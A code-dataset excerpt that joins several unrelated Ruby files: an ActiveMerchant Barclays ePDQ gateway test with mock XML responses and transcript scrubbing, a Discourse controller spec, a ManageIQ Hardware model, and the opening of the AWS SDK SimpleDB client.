@gateway.expects(:ssl_post).returns('<ncresponse NCERRORPLUS=" no card no|no exp date|no brand" STATUS="0" />')
assert response = @gateway.purchase(@amount, @credit_card, @options)
assert_equal 'No card no, no exp date, no brand', response.message
end
def test_format_error_message_with_no_separator
@gateway.expects(:ssl_post).returns('<ncresponse NCERRORPLUS=" unknown order " STATUS="0" />')
assert response = @gateway.purchase(@amount, @credit_card, @options)
assert_equal 'Unknown order', response.message
end
def test_without_signature
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials.merge(:signature => nil, :signature_encryptor => nil))
gateway.expects(:ssl_post).returns(successful_purchase_response)
assert_deprecation_warning(BarclaysEpdqExtraPlusGateway::OGONE_NO_SIGNATURE_DEPRECATION_MESSAGE) do
gateway.purchase(@amount, @credit_card, @options)
end
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials.merge(:signature => nil, :signature_encryptor => 'none'))
gateway.expects(:ssl_post).returns(successful_purchase_response)
assert_no_deprecation_warning do
gateway.purchase(@amount, @credit_card, @options)
end
end
def test_signature_for_accounts_created_before_10_may_20101
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials.merge(:signature_encryptor => nil))
assert signature = gateway.send(:add_signature, @parameters)
assert_equal Digest::SHA1.hexdigest('1100EUR4111111111111111MrPSPIDRES2mynicesig').upcase, signature
end
def test_signature_for_accounts_with_signature_encryptor_to_sha1
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials.merge(:signature_encryptor => 'sha1'))
assert signature = gateway.send(:add_signature, @parameters)
assert_equal Digest::SHA1.hexdigest(string_to_digest).upcase, signature
end
def test_signature_for_accounts_with_signature_encryptor_to_sha256
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials.merge(:signature_encryptor => 'sha256'))
assert signature = gateway.send(:add_signature, @parameters)
assert_equal Digest::SHA256.hexdigest(string_to_digest).upcase, signature
end
def test_signature_for_accounts_with_signature_encryptor_to_sha512
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials.merge(:signature_encryptor => 'sha512'))
assert signature = gateway.send(:add_signature, @parameters)
assert_equal Digest::SHA512.hexdigest(string_to_digest).upcase, signature
end
def test_signature_for_accounts_with_3dsecure
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials)
assert signature = gateway.send(:add_signature, @parameters.merge(@parameters_d3d))
assert_equal Digest::SHA512.hexdigest(d3d_string_to_digest).upcase, signature
end
def test_3dsecure_win_3ds_option
post = {}
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials)
gateway.send(:add_d3d, post, { :win_3ds => :pop_up })
assert 'POPUP', post['WIN3DS']
gateway.send(:add_d3d, post, { :win_3ds => :pop_ix })
assert 'POPIX', post['WIN3DS']
gateway.send(:add_d3d, post, { :win_3ds => :invalid })
assert 'MAINW', post['WIN3DS']
end
def test_3dsecure_additional_options
post = {}
gateway = BarclaysEpdqExtraPlusGateway.new(@credentials)
gateway.send(:add_d3d, post, {
:http_accept => 'text/html',
:http_user_agent => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)',
:accept_url => 'https://accept_url',
:decline_url => 'https://decline_url',
:exception_url => 'https://exception_url',
:paramsplus => 'params_plus',
:complus => 'com_plus',
:language => 'fr_FR'
})
assert 'HTTP_ACCEPT', 'text/html'
assert 'HTTP_USER_AGENT', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'
assert 'ACCEPTURL', 'https://accept_url'
assert 'DECLINEURL', 'https://decline_url'
assert 'EXCEPTIONURL', 'https://exception_url'
assert 'PARAMSPLUS', 'params_plus'
assert 'COMPLUS', 'com_plus'
assert 'LANGUAGE', 'fr_FR'
end
def test_accessing_params_attribute_of_response
@gateway.expects(:ssl_post).returns(successful_purchase_response)
assert response = @gateway.authorize(@amount, @credit_card, @options)
assert_success response
assert_equal 'test123', response.params['ACCEPTANCE']
assert response.test?
end
def test_response_params_is_hash
@gateway.expects(:ssl_post).returns(successful_purchase_response)
assert response = @gateway.purchase(@amount, @credit_card, @options)
assert_instance_of Hash, response.params
end
def test_transcript_scrubbing
assert_equal scrubbed_transcript, @gateway.scrub(transcript)
end
private
def string_to_digest
'ALIAS=2mynicesigAMOUNT=100mynicesigCARDNO=4111111111111111mynicesig'\
'CN=Client NamemynicesigCURRENCY=EURmynicesigOPERATION=RESmynicesig'\
'ORDERID=1mynicesigPSPID=MrPSPIDmynicesig'
end
def d3d_string_to_digest
'ALIAS=2mynicesigAMOUNT=100mynicesigCARDNO=4111111111111111mynicesig'\
'CN=Client NamemynicesigCURRENCY=EURmynicesigFLAG3D=Ymynicesig'\
'HTTP_ACCEPT=*/*mynicesigOPERATION=RESmynicesigORDERID=1mynicesig'\
'PSPID=MrPSPIDmynicesigWIN3DS=MAINWmynicesig'
end
def successful_authorize_response
<<-END
<?xml version="1.0"?><ncresponse
orderID="1233680882919266242708828"
PAYID="3014726"
NCSTATUS="0"
NCERROR="0"
NCERRORPLUS="!"
ACCEPTANCE="test123"
STATUS="5"
IPCTY="99"
CCCTY="99"
ECI="7"
CVCCheck="NO"
AAVCheck="NO"
VC="NO"
amount="1"
currency="EUR"
PM="CreditCard"
BRAND="VISA"
ALIAS="2">
</ncresponse>
END
end
def successful_purchase_response
<<-END
<?xml version="1.0"?><ncresponse
orderID="1233680882919266242708828"
PAYID="3014726"
NCSTATUS="0"
NCERROR="0"
NCERRORPLUS="!"
ACCEPTANCE="test123"
STATUS="5"
IPCTY="99"
CCCTY="99"
ECI="7"
CVCCheck="NO"
AAVCheck="NO"
VC="NO"
amount="1"
currency="EUR"
PM="CreditCard"
BRAND="VISA"
ALIAS="2">
</ncresponse>
END
end
def successful_3dsecure_purchase_response
<<-END
<?xml version="1.0"?><ncresponse
orderID="1233680882919266242708828"
PAYID="3014726"
NCSTATUS="0"
NCERROR="0"
NCERRORPLUS="!"
ACCEPTANCE="test123"
STATUS="46"
IPCTY="99"
CCCTY="99"
ECI="7"
CVCCheck="NO"
AAVCheck="NO"
VC="NO"
amount="1"
currency="EUR"
PM="CreditCard"
BRAND="VISA">
<HTML_ANSWER>PGZvcm0gbmFtZT0iZG93bmxvYWRmb3JtM0QiIGFjdGlvbj0iaHR0cHM6Ly9z
ZWN1cmUub2dvbmUuY29tL25jb2wvdGVzdC9UZXN0XzNEX0FDUy5hc3AiIG1l
dGhvZD0icG9zdCI+CiAgPE5PU0NSSVBUPgogICAgSmF2YVNjcmlwdCBpcyBj
dXJyZW50bHkgZGlzYWJsZWQgb3IgaXMgbm90IHN1cHBvcnRlZCBieSB5b3Vy
IGJyb3dzZXIuPGJyPgogICAgUGxlYXNlIGNsaWNrIG9uIHRoZSAmcXVvdDtD
b250aW51ZSZxdW90OyBidXR0b24gdG8gY29udGludWUgdGhlIHByb2Nlc3Np
bmcgb2YgeW91ciAzLUQgc2VjdXJlIHRyYW5zYWN0aW9uLjxicj4KICAgIDxp
bnB1dCBjbGFzcz0ibmNvbCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29udGlu
dWUiIGlkPSJzdWJtaXQxIiBuYW1lPSJzdWJtaXQxIiAvPgogIDwvTk9TQ1JJ
UFQ+CiAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ1NSRktFWSIgdmFs
dWU9IjExMDc0NkE4QTExRTBDMEVGMUFDQjQ2NkY0MkU0RERBMDQ5QkZBNTgi
IC8+CiAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ1NSRlRTIiB2YWx1
ZT0iMjAxMTAzMTUxNTA0MzEiIC8+CiAgPGlucHV0IHR5cGU9ImhpZGRlbiIg
bmFtZT0iQ1NSRlNQIiB2YWx1ZT0iL25jb2wvdGVzdC9vcmRlcmRpcmVjdC5h
c3AiIC8+CiAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iUGFSZXEiIHZh
bHVlPSI8P3htbCB2ZXJzaW9uPSZxdW90OzEuMCZxdW90Oz8+PFRocmVlRFNl
Y3VyZT48TWVzc2FnZSBpZD0mcXVvdDsxMjMmcXVvdDs+PFBBUmVxPjx2ZXJz
aW9uPjEuMDI8L3ZlcnNpb24+PE1lcmNoYW50PjxtZXJJRD5tZXJjaGFudF9u
YW1lPC9tZXJJRD48bmFtZT5NZXJjaGFudDwvbmFtZT48dXJsPmh0dHA6Ly9t
ZXJjaGFudC5jb208L3VybD48L01lcmNoYW50PjxQdXJjaGFzZT48eGlkPjk2
NTU4NDg8L3hpZD48YW1vdW50PjEuOTM8L2Ftb3VudD48cHVyY2hBbW91bnQ+
MS45MzwvcHVyY2hBbW91bnQ+PGN1cnJlbmN5PlVTRDwvY3VycmVuY3k+PC9Q
dXJjaGFzZT48Q0g+PGFjY3RJRD40MDAwMDAwMDAwMDAwMDAyPC9hY2N0SUQ+
PGV4cGlyeT4wMzEyPC9leHBpcnk+PHNlbEJyYW5kPjwvc2VsQnJhbmQ+PC9D
SD48L1BBUmVxPjwvTWVzc2FnZT48L1RocmVlRFNlY3VyZT4KICAiIC8+CiAg
PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iVGVybVVybCIgdmFsdWU9Imh0
dHBzOi8vc2VjdXJlLm9nb25lLmNvbS9uY29sL3Rlc3Qvb3JkZXJfQTNEUy5h
c3AiIC8+CiAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iTUQiIHZhbHVl
PSJNQUlOV1BURVNUMDAwMDA5NjU1ODQ4MDExMTEiIC8+CjwvZm9ybT4KCjxm
b3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJodHRwczovL3NlY3VyZS5vZ29u
ZS5jb20vbmNvbC90ZXN0L29yZGVyX2FncmVlLmFzcCIgbmFtZT0idXBsb2Fk
Rm9ybTNEIj4KICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJDU1JGS0VZ
IiB2YWx1ZT0iMEI2NDNEMDZFNTczQzkxRDBDQkQwOEY4RjlFREU4RjdDNDJD
MjQ2OSIgLz4KICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJDU1JGVFMi
IHZhbHVlPSIyMDExMDMxNTE1MDQzMSIgLz4KICA8aW5wdXQgdHlwZT0iaGlk
ZGVuIiBuYW1lPSJDU1JGU1AiIHZhbHVlPSIvbmNvbC90ZXN0L29yZGVyZGly
ZWN0LmFzcCIgLz4KICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJicmFu
ZGluZyIgdmFsdWU9Ik9nb25lIiAvPgogIDxpbnB1dCB0eXBlPSJoaWRkZW4i
IG5hbWU9InBheWlkIiB2YWx1ZT0iOTY1NTg0OCIgLz4KICA8aW5wdXQgdHlw
ZT0iaGlkZGVuIiBuYW1lPSJzdG9yZWFsaWFzIiB2YWx1ZT0iIiAvPgogIDxp
bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhhc2hfcGFyYW0iIHZhbHVlPSJE
NzY2NzhBRkE0MTBERjYxOUMzMkZGRUNFQTIzQTZGMkI1QkQxRDdBIiAvPgog
IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InhpZF8zRCIgdmFsdWU9IiIg
Lz4KICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzdGF0dXNfM0QiIHZh
bHVlPSJYWCIgLz4KICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJlY2lf
M0QiIHZhbHVlPSIwIiAvPgogIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
ImNhcmRudW1iZXIiIHZhbHVlPSIiIC8+CiAgPGlucHV0IHR5cGU9ImhpZGRl
biIgbmFtZT0iRWNvbV9QYXltZW50X0NhcmRfVmVyaWZpY2F0aW9uIiB2YWx1
ZT0iMTExIiAvPgogIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IkNWQ0Zs
YWciIHZhbHVlPSIxIiAvPgogIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
ImNhdnZfM0QiIHZhbHVlPSIiIC8+CiAgPGlucHV0IHR5cGU9ImhpZGRlbiIg
bmFtZT0iY2F2dmFsZ29yaXRobV8zRCIgdmFsdWU9IiIgLz4KICA8aW5wdXQg
dHlwZT0iaGlkZGVuIiBuYW1lPSJzaWduYXR1cmVPS18zRCIgdmFsdWU9IiIg
Lz4KICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJoYXNoX3BhcmFtXzNE
IiB2YWx1ZT0iODQzNDg3RDNEQzkyRkFDQ0FCMEZBQTRGMUM1NTYyMUFBMjhE
Qzk4OCIgLz4KPC9mb3JtPgo8U0NSSVBUIExBTkdVQUdFPSJKYXZhc2NyaXB0
IiA+CjwhLS0KdmFyIHBvcHVwV2luOwp2YXIgc3VibWl0cG9wdXBXaW4gPSAw
OwoKZnVuY3Rpb24gTG9hZFBvcHVwKCkgewogIGlmIChzZWxmLm5hbWUgPT0g
bnVsbCkJewogICAgc2VsZi5uYW1lID0gIm9nb25lTWFpbiI7CiAgfQogIHBv
cHVwV2luID0gd2luZG93Lm9wZW4oJ2Fib3V0OmJsYW5rJywgJ3BvcHVwV2lu
JywgJ2hlaWdodD00MDAsIHdpZHRoPTM5MCwgc3RhdHVzPXllcywgZGVwZW5k
ZW50PW5vLCBzY3JvbGxiYXJzPXllcywgcmVzaXphYmxlPW5vJyk7CiAgaWYg
KHBvcHVwV2luICE9IG51bGwpIHsKICAgIGlmICAoIXBvcHVwV2luIHx8IHBv
cHVwV2luLmNsb3NlZCkgewogICAgICByZXR1cm4gMTsKICAgIH0gZWxzZSB7
CiAgICAgIGlmICghcG9wdXBXaW4ub3BlbmVyIHx8IHBvcHVwV2luLm9wZW5l
ciA9PSBudWxsKSB7CiAgICAgICAgcG9wdXBXaW4ub3BlbmVyID0gc2VsZjsK
ICAgICAgfQogICAgICBzZWxmLmRvY3VtZW50LmZvcm1zLmRvd25sb2FkZm9y
bTNELnRhcmdldCA9ICdwb3B1cFdpbic7CiAgICAgIGlmIChzdWJtaXRwb3B1
cFdpbiA9PSAxKSB7CiAgICAgICAgc2VsZi5kb2N1bWVudC5mb3Jtcy5kb3du
bG9hZGZvcm0zRC5zdWJtaXQoKTsKICAgICAgfQogICAgICBwb3B1cFdpbi5m
b2N1cygpOwogICAgICByZXR1cm4gMDsKICAgIH0KICB9IGVsc2UgewogICAg
cmV0dXJuIDE7CiAgfQp9CnNlbGYuZG9jdW1lbnQuZm9ybXMuZG93bmxvYWRm
b3JtM0Quc3VibWl0KCk7Ci8vLS0+CjwvU0NSSVBUPgo=\n</HTML_ANSWER>
</ncresponse>
END
end
def failed_purchase_response
<<-END
<?xml version="1.0"?>
<ncresponse
orderID=""
PAYID="0"
NCSTATUS="5"
NCERROR="50001111"
NCERRORPLUS=" no orderid"
ACCEPTANCE=""
STATUS="0"
amount=""
currency="EUR"
PM=""
BRAND=""
ALIAS="2">
</ncresponse>
END
end
def successful_capture_response
<<-END
<?xml version="1.0"?>
<ncresponse
orderID="1234956106974734203514539"
PAYID="3048326"
PAYIDSUB="1"
NCSTATUS="0"
NCERROR="0"
NCERRORPLUS="!"
ACCEPTANCE=""
STATUS="91"
amount="1"
currency="EUR"
ALIAS="2">
</ncresponse>
END
end
def successful_void_response
<<-END
<?xml version="1.0"?>
<ncresponse
orderID="1234961140253559268757474"
PAYID="3048606"
PAYIDSUB="1"
NCSTATUS="0"
NCERROR="0"
NCERRORPLUS="!"
ACCEPTANCE=""
STATUS="61"
amount="1"
currency="EUR"
ALIAS="2">
</ncresponse>
END
end
def successful_referenced_credit_response
<<-END
<?xml version="1.0"?>
<ncresponse
orderID="1234976251872867104376350"
PAYID="3049652"
PAYIDSUB="1"
NCSTATUS="0"
NCERROR="0"
NCERRORPLUS="!"
ACCEPTANCE=""
STATUS="81"
amount="1"
currency="EUR"
ALIAS="2">
</ncresponse>
END
end
def successful_unreferenced_credit_response
<<-END
<?xml version="1.0"?><ncresponse
orderID="1234976330656672481134758"
PAYID="3049654"
NCSTATUS="0"
NCERROR="0"
NCERRORPLUS="!"
ACCEPTANCE=""
STATUS="81"
IPCTY="99"
CCCTY="99"
ECI="7"
CVCCheck="NO"
AAVCheck="NO"
VC="NO"
amount="1"
currency="EUR"
PM="CreditCard"
BRAND="VISA"
ALIAS="2">
</ncresponse>
END
end
def test_failed_authorization_due_to_unknown_order_number
<<-END
<?xml version="1.0"?>
<ncresponse
orderID="#1019.22"
PAYID="0"
NCSTATUS="5"
NCERROR="50001116"
NCERRORPLUS="unknown order/1/i/67.192.100.64"
ACCEPTANCE=""
STATUS="0"
amount=""
currency="EUR"
PM=""
BRAND=""
ALIAS="2">
</ncresponse>
END
end
def transcript
<<-TRANSCRIPT
CARDNO=4000100011112224&CN=Longbob+Longsen&COM=Store+Purchase&CVC=123&ECI=7&ED=0914&Operation=SAL&OwnerZip=K1C2N6&Owneraddress=1234+My+Street&PSPID=epdq1004895&PSWD=test&SHASign=0798F0F333C1867CC2B22D77E6452F8CAEFE9888&USERID=spreedly&amount=100¤cy=GBP&orderID=b15d2f92e3ddee1a14b1b4b92cae9c&ownercty=CA&ownertelno=%28555%29555-5555&ownertown=Ottawa
<?xml version="1.0"?><ncresponse
orderID="b15d2f92e3ddee1a14b1b4b92cae9c"
PAYID="22489229"
NCSTATUS="0"
NCERROR="0"
ACCEPTANCE="test123"
STATUS="9"
amount="1"
currency="GBP"
PM="CreditCard"
BRAND="VISA"
NCERRORPLUS="!">
</ncresponse>
TRANSCRIPT
end
def scrubbed_transcript
<<-SCRUBBED_TRANSCRIPT
CARDNO=[FILTERED]&CN=Longbob+Longsen&COM=Store+Purchase&CVC=[FILTERED]&ECI=7&ED=0914&Operation=SAL&OwnerZip=K1C2N6&Owneraddress=1234+My+Street&PSPID=epdq1004895&PSWD=[FILTERED]&SHASign=0798F0F333C1867CC2B22D77E6452F8CAEFE9888&USERID=spreedly&amount=100¤cy=GBP&orderID=b15d2f92e3ddee1a14b1b4b92cae9c&ownercty=CA&ownertelno=%28555%29555-5555&ownertown=Ottawa
<?xml version="1.0"?><ncresponse
orderID="b15d2f92e3ddee1a14b1b4b92cae9c"
PAYID="22489229"
NCSTATUS="0"
NCERROR="0"
ACCEPTANCE="test123"
STATUS="9"
amount="1"
currency="GBP"
PM="CreditCard"
BRAND="VISA"
NCERRORPLUS="!">
</ncresponse>
SCRUBBED_TRANSCRIPT
end
end
| 36.42663 | 366 | 0.735546 |
ff2fb4042956c9979267754ac597e3e1c220c837 | 714 | # frozen_string_literal: true
require 'rails_helper'
RSpec.describe UsersController do
let(:user) { Fabricate(:user) }
before do
SiteSetting.desktop_push_notifications_enabled = true
end
describe '#update' do
describe 'updating custom fields to prefer push on desktop' do
it 'should update the custom fields correctly' do
sign_in(user)
field_name = "#{DiscoursePushNotifications::PLUGIN_NAME}_prefer_push"
put "/u/#{user.username}", params: {
custom_fields: {
field_name => true
}
}
expect(response.status).to eq(200)
expect(user.reload.custom_fields).to eq(field_name => true)
end
end
end
end
| 23.8 | 77 | 0.652661 |
f8cdc3b272ff2698ea7bfbe7a0d2e8328f08cc35 | 10,962 | class Hardware < ApplicationRecord
belongs_to :vm_or_template
belongs_to :vm, :foreign_key => :vm_or_template_id
belongs_to :miq_template, :foreign_key => :vm_or_template_id
belongs_to :host
belongs_to :computer_system
belongs_to :physical_switch, :foreign_key => :switch_id, :inverse_of => :hardware
has_many :networks, :dependent => :destroy
has_many :firmwares, :as => :resource, :dependent => :destroy
has_many :disks, -> { order(:location) }, :dependent => :destroy
has_many :hard_disks, -> { where.not(:device_type => 'floppy').where.not(Disk.arel_table[:device_type].lower.matches('%cdrom%')).order(:location) }, :class_name => "Disk", :foreign_key => :hardware_id
has_many :floppies, -> { where(:device_type => 'floppy').order(:location) }, :class_name => "Disk", :foreign_key => :hardware_id
has_many :cdroms, -> { where(Disk.arel_table[:device_type].lower.matches('%cdrom%')).order(:location) }, :class_name => "Disk", :foreign_key => :hardware_id
has_many :partitions, :dependent => :destroy
has_many :volumes, :dependent => :destroy
has_many :guest_devices, :dependent => :destroy
has_many :storage_adapters, -> { where(:device_type => 'storage') }, :class_name => "GuestDevice", :foreign_key => :hardware_id
has_many :nics, -> { where(:device_type => 'ethernet') }, :class_name => "GuestDevice", :foreign_key => :hardware_id
has_many :ports, -> { where.not(:device_type => 'storage') }, :class_name => "GuestDevice", :foreign_key => :hardware_id
has_many :physical_ports, -> { where(:device_type => 'physical_port') }, :class_name => "GuestDevice", :foreign_key => :hardware_id
has_many :connected_physical_switches, :through => :guest_devices
has_many :management_devices, -> { where(:device_type => 'management') }, :class_name => "GuestDevice", :foreign_key => :hardware_id
virtual_column :ipaddresses, :type => :string_set, :uses => :networks
virtual_column :hostnames, :type => :string_set, :uses => :networks
virtual_column :mac_addresses, :type => :string_set, :uses => :nics
virtual_aggregate :used_disk_storage, :disks, :sum, :used_disk_storage
virtual_aggregate :allocated_disk_storage, :disks, :sum, :size
virtual_total :num_disks, :disks
virtual_total :num_hard_disks, :hard_disks
def ipaddresses
@ipaddresses ||= if networks.loaded?
networks.collect(&:ipaddress).compact.uniq + networks.collect(&:ipv6address).compact.uniq
else
networks.pluck(:ipaddress, :ipv6address).flatten.tap(&:compact!).tap(&:uniq!)
end
end
def hostnames
@hostnames ||= networks.collect(&:hostname).compact.uniq
end
def mac_addresses
@mac_addresses ||= nics.collect(&:address).compact.uniq
end
def ram_size_in_bytes
memory_mb.to_i * 1.megabyte
end
# resulting sql: "(CAST("hardwares"."memory_mb" AS bigint) * 1048576)"
virtual_attribute :ram_size_in_bytes, :integer, :arel => (lambda do |t|
t.grouping(Arel::Nodes::Multiplication.new(Arel::Nodes::NamedFunction.new("CAST", [t[:memory_mb].as("bigint")]),
1.megabyte))
end)
@@dh = {"type" => "device_name", "devicetype" => "device_type", "id" => "location", "present" => "present",
"filename" => "filename", "startconnected" => "start_connected", "autodetect" => "auto_detect", "mode" => "mode",
"connectiontype" => "mode", "size" => "size", "free_space" => "free_space", "size_on_disk" => "size_on_disk",
"generatedaddress" => "address", "disk_type" => "disk_type"}
def self.add_elements(parent, xmlNode)
_log.info("Adding Hardware XML elements for VM[id]=[#{parent.id}] from XML doc [#{xmlNode.root.name}]")
parent.hardware = Hardware.new if parent.hardware.nil?
# Record guest_devices so we can delete any removed items.
deletes = {:gd => [], :disk => []}
# Excluding ethernet devices from deletes because the refresh is the master of the data and it will handle the deletes.
deletes[:gd] = parent.hardware.guest_devices
.where.not(:device_type => "ethernet")
.select(:id, :device_type, :location, :address)
.collect { |rec| [rec.id, [rec.device_type, rec.location, rec.address]] }
if parent.vendor == "redhat"
deletes[:disk] = parent.hardware.disks.select(:id, :device_type, :location)
.collect { |rec| [rec.id, [rec.device_type, "0:#{rec.location}"]] }
else
deletes[:disk] = parent.hardware.disks.select(:id, :device_type, :location)
.collect { |rec| [rec.id, [rec.device_type, rec.location]] }
end
xmlNode.root.each_recursive do |e|
begin
parent.hardware.send("m_#{e.name}", parent, e, deletes) if parent.hardware.respond_to?("m_#{e.name}")
rescue => err
_log.warn(err.to_s)
end
end
GuestDevice.delete(deletes[:gd].transpose[0])
Disk.delete(deletes[:disk].transpose[0])
# Count the count of ethernet devices
parent.hardware.number_of_nics = parent.hardware.nics.length
parent.hardware.save
end
def aggregate_cpu_speed
if has_attribute?("aggregate_cpu_speed")
self["aggregate_cpu_speed"]
elsif try(:cpu_total_cores) && try(:cpu_speed)
cpu_total_cores * cpu_speed
end
end
virtual_attribute :aggregate_cpu_speed, :integer, :arel => (lambda do |t|
t.grouping(t[:cpu_total_cores] * t[:cpu_speed])
end)
def v_pct_free_disk_space
return nil if disk_free_space.nil? || disk_capacity.nil? || disk_capacity.zero?
(disk_free_space.to_f / disk_capacity * 100).round(2)
end
# resulting sql: "(cast(disk_free_space as float) / (disk_capacity * 100))"
virtual_attribute :v_pct_free_disk_space, :float, :arel => (lambda do |t|
t.grouping(Arel::Nodes::Division.new(
Arel::Nodes::NamedFunction.new("CAST", [t[:disk_free_space].as("float")]),
t[:disk_capacity]) * 100)
end)
def v_pct_used_disk_space
percent_free = v_pct_free_disk_space
100 - percent_free if percent_free
end
# resulting sql: "(cast(disk_free_space as float) / (disk_capacity * -100) + 100)"
# to work with arel better, put the 100 at the end
virtual_attribute :v_pct_used_disk_space, :float, :arel => (lambda do |t|
t.grouping(Arel::Nodes::Division.new(
Arel::Nodes::NamedFunction.new("CAST", [t[:disk_free_space].as("float")]),
t[:disk_capacity]) * -100 + 100)
end)
def provisioned_storage
if has_attribute?("provisioned_storage")
self["provisioned_storage"]
else
allocated_disk_storage.to_i + ram_size_in_bytes
end
end
# added casts because we were overflowing integers
# resulting sql:
# (
# (COALESCE(
# ((SELECT SUM("disks"."size")
# FROM "disks"
# WHERE "hardwares"."id" = "disks"."hardware_id")),
# 0
# )) + (COALESCE(
# (CAST("hardwares"."memory_mb" AS bigint)),
# 0
# )) * 1048576
# )
virtual_attribute :provisioned_storage, :integer, :arel => (lambda do |t|
t.grouping(
t.grouping(Arel::Nodes::NamedFunction.new('COALESCE', [arel_attribute(:allocated_disk_storage), 0])) +
t.grouping(Arel::Nodes::NamedFunction.new(
'COALESCE', [t.grouping(Arel::Nodes::NamedFunction.new('CAST', [t[:memory_mb].as("bigint")])), 0]
)) * 1.megabyte
)
end)
def connect_lans(lans)
return if lans.blank?
nics.each do |n|
# TODO: Use a different field here
# model is temporarily being used here to transfer the name of the
# lan to which this nic is connected. If model ends up being an
# otherwise used field, this will need to change
n.lan = lans.find { |l| l.name == n.model }
n.model = nil
n.save
end
end
def disconnect_lans
nics.each do |n|
n.lan = nil
n.save
end
end
def m_controller(_parent, xmlNode, deletes)
# $log.info("Adding controller XML elements for [#{xmlNode.attributes["type"]}]")
xmlNode.each_element do |e|
next if e.attributes['present'].to_s.downcase == "false"
da = {"device_type" => xmlNode.attributes["type"].to_s.downcase, "controller_type" => xmlNode.attributes["type"]}
# Loop over the device mapping table and add attributes
@@dh.each_pair { |k, v| da.merge!(v => e.attributes[k]) if e.attributes[k] }
if da["device_name"] == 'disk'
target = disks
target_type = :disk
else
target = guest_devices
target_type = :gd
end
# Try to find the existing row
found = target.find_by(:device_type => da["device_type"], :location => da["location"])
found ||= da["address"] && target.find_by(:device_type => da["device_type"], :address => da["address"])
# Add or update the device
if found.nil?
target.create(da)
else
da.delete('device_name') if target_type == :disk
found.update(da)
end
# Remove the devices from the delete list if it matches on device_type and either location or address
deletes[target_type].delete_if { |ele| (ele[1][0] == da["device_type"]) && (ele[1][1] == da["location"] || (!da["address"].nil? && ele[1][2] == da["address"])) }
end
end
def m_memory(_parent, xmlNode, _deletes)
self.memory_mb = xmlNode.attributes["memsize"]
end
def m_bios(_parent, xmlNode, _deletes)
new_bios = MiqUUID.clean_guid(xmlNode.attributes["bios"])
self.bios = new_bios.nil? ? xmlNode.attributes["bios"] : new_bios
new_bios = MiqUUID.clean_guid(xmlNode.attributes["location"])
self.bios_location = new_bios.nil? ? xmlNode.attributes["location"] : new_bios
end
def m_vm(parent, xmlNode, _deletes)
xmlNode.each_element do |e|
self.guest_os = e.attributes["guestos"] if e.name == "guestos"
self.config_version = e.attributes["version"] if e.name == "config"
self.virtual_hw_version = e.attributes["version"] if e.name == "virtualhw"
self.time_sync = e.attributes["synctime"] if e.name == "tools"
self.annotation = e.attributes["annotation"] if e.name == "annotation"
self.cpu_speed = e.attributes["cpuspeed"] if e.name == "cpuspeed"
self.cpu_type = e.attributes["cputype"] if e.name == "cputype"
parent.autostart = e.attributes["autostart"] if e.name == "autostart"
self.cpu_sockets = e.attributes["numvcpus"] if e.name == "numvcpus"
end
end
def m_files(_parent, xmlNode, _deletes)
self.size_on_disk = xmlNode.attributes["size_on_disk"]
self.disk_free_space = xmlNode.attributes["disk_free_space"]
self.disk_capacity = xmlNode.attributes["disk_capacity"]
end
def m_snapshots(parent, xmlNode, _deletes)
Snapshot.add_elements(parent, xmlNode)
end
def m_volumes(parent, xmlNode, _deletes)
Volume.add_elements(parent, xmlNode)
end
end
| 41.680608 | 205 | 0.650976 |
08dc788812a06d9554b14f162e7ea0d20c92150a | 34,176 | # WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
require 'seahorse/client/plugins/content_length.rb'
require 'aws-sdk-core/plugins/credentials_configuration.rb'
require 'aws-sdk-core/plugins/logging.rb'
require 'aws-sdk-core/plugins/param_converter.rb'
require 'aws-sdk-core/plugins/param_validator.rb'
require 'aws-sdk-core/plugins/user_agent.rb'
require 'aws-sdk-core/plugins/helpful_socket_errors.rb'
require 'aws-sdk-core/plugins/retry_errors.rb'
require 'aws-sdk-core/plugins/global_configuration.rb'
require 'aws-sdk-core/plugins/regional_endpoint.rb'
require 'aws-sdk-core/plugins/endpoint_discovery.rb'
require 'aws-sdk-core/plugins/endpoint_pattern.rb'
require 'aws-sdk-core/plugins/response_paging.rb'
require 'aws-sdk-core/plugins/stub_responses.rb'
require 'aws-sdk-core/plugins/idempotency_token.rb'
require 'aws-sdk-core/plugins/jsonvalue_converter.rb'
require 'aws-sdk-core/plugins/client_metrics_plugin.rb'
require 'aws-sdk-core/plugins/client_metrics_send_plugin.rb'
require 'aws-sdk-core/plugins/transfer_encoding.rb'
require 'aws-sdk-core/plugins/signature_v2.rb'
require 'aws-sdk-core/plugins/protocols/query.rb'
Aws::Plugins::GlobalConfiguration.add_identifier(:simpledb)
module Aws::SimpleDB
class Client < Seahorse::Client::Base
include Aws::ClientStubs
@identifier = :simpledb
set_api(ClientApi::API)
add_plugin(Seahorse::Client::Plugins::ContentLength)
